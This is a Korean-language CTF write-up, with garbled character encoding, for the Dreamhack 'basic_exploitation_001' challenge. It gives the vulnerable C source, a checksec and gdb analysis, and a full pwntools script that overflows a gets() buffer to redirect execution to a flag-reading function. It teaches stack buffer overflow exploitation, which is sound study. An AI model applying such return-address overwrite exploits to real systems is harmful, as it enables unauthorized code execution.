๐๏ธ Access
์ด ๋ฌธ์ ๋ ์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค(basic_exploitation_001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค.
ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํด “flag” ํ์ผ์ ์ฝ์ผ์ธ์.
“flag” ํ์ผ์ ๋ด์ฉ์ ์๊ฒ์ ์ฌ์ดํธ์ ์ธ์ฆํ๋ฉด ์ ์๋ฅผ ํ๋ํ ์ ์์ต๋๋ค. ํ๋๊ทธ์ ํ์์ DH{…} ์ ๋๋ค.
๐พ Exploit Algorithm & Payload
#basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
#Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#1
$ checksec --file basic_exploitation_001
$ readelf -h basic_exploitation_001
: ๋ณดํธ ๊ธฐ๋ฒ๊ณผ, ELF ํฌ๋งท์ ๋ถ์ํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ค.
: ์ ์ฌ wargame์ธ 'basic_exploitation_000' ๊ณผ ๋ค๋ฅธ ์ ์ nx bit๊ฐ ์กด์ฌํ๋ค๋ ์ ์ด๋ค.
(-> shellcode ์ฝ์ ๋ถ๊ฐ)
(32bit ๋ฆฌํ์๋์ธ, relro ์์, ์นด๋๋ฆฌ ์์, pie ์์)
#2
: ์คํ์ ๊ธฐ๋ณธ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ์์ 32bit์์๋ Buffer + SFP[4byte] + RET[4byte]์ด๋ค.
: buf[0x80] (128byte)๋งํผ ์ฃผ์๊ฐ ํ ๋น๋๋๋ฐ ์ฌ๊ธฐ์ getsํจ์๋ก buf ๋ฐฐ์ด์ ์ ๋ ฅ์ ์ ์ฅํจ์ ์ ์ ์๋ค.
(128byte+4byte=132byteํ์ RET์ฃผ์)
: ํ์ง๋ง gets๋ ์ ๋ ฅ ๊ฐ์ ๋ํ ์ ํ์ด ์๊ธฐ ๋๋ฌธ์ BOF(Buffer OverFlow)์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค๋ ๊ฒ์ ํ์ ํ ์ ์๋ค.
$ gdb basic_exploitation_001
pwndbg> info func
pwndbg> print read_flag
#$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>
pwndbg> disassemble main
# 0x080485db <+15>: call 0x80483d0 <gets@plt>
# 0x080485e0 <+20>: add esp,0x4
# ...
# 0x080485e9 <+29>: ret
pwndbg> b *main+20
Breakpoint 1 at 0x80485e0
pwndbg> b *main+29
Breakpoint 2 at 0x80485e9
pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
#'a' 131
pwndbg> c
Continuing.
# ni , finish, ...
pwndbg> r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
# 'a' 132
# ni , finish, ...
: ์ด๋ ๋ฏ gdb ๋๋ฒ๊น ์ ํตํด์๋ BOF ์ทจ์ฝ์ ์ ๋ฉ๋ชจ๋ฆฌ๋ก ๋ถ์ํ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
from pwn import *
r = remote("host3.dreamhack.games", 19695)
read_flag = 0x80485b9
payload = b"\x61"*132
payload += p32(read_flag)
r.sendline(payload)
r.interactive()
: ์ฝ๋์์๋ read_flag ํจ์๋ฅผ ํธ์ถํ์ง ์์ง๋ง ์๋ ๊ฒ์ ์ ์ ์์๊ธฐ์ read_flag์ ์ฃผ์๋ฅผ ์์๋ธ ํ, ๋ฆฌํด์ฃผ์(RET)์ read_flag ์ฃผ์๋ก ๋ณ๊ฒฝํ๊ฒ ๋๋ฉด ๊ฐ์ ํ์ธํ ์ ์๋ค.
(pwndbg> print read_flag #$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>)
: python pwd๋ฅผ ์ด์ฉํ์ฌ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐ Summary
BOF๋ ๋ฒํผ๊ฐ ๋์น ์ ์๋ ์ฝ๋๋ฅผ ํนํ ์ฃผ์ํด์ผํ๋ค.
| BOF์ ์ทจ์ฝํ ํจ์ |
: ์ฒ๋ฆฌํ๋ ๋ฌธ์์ด์ ์ต๋ ํฌ๊ธฐ๋ฅผ ์ ํ์ง ์๋ ํจ์
• strcpy
• strcat
• gets
• fscanf
• sprintf
• vfscanf
• vsprintf
• vscanf
• vsscanf
• streadd
• streadd
• strecpy
• strtms
'[Dreamhack]SystemHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: Return to Shellcode (0) | 2023.08.30 |
---|---|
[Dreamhack] Level2: basic_exploitation_000 (0) | 2023.08.25 |
[Dreamhack] Level2: shell_basic (0) | 2023.08.22 |
[Dreamhack] Level1: Return Address Overwrite (0) | 2023.08.18 |